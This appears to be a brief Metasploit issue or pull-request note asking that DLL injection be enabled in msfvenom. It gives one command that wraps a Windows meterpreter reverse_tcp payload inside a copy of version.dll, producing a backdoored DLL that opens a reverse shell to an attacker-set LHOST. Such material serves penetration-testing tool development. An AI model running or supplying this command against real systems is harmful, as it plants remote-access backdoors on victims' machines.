Enable DLL injection in msfvenom

Using version.dll from SYSWOW64:

./msfvenom -p windows/meterpreter/reverse_tcp -x ~/version.dll -f dll -k LHOST=192.168.1.x > ~/version2.dll

These changes (or changes to this effect) went missing from https://github.com/rapid7/metasploit-framework/pull/1103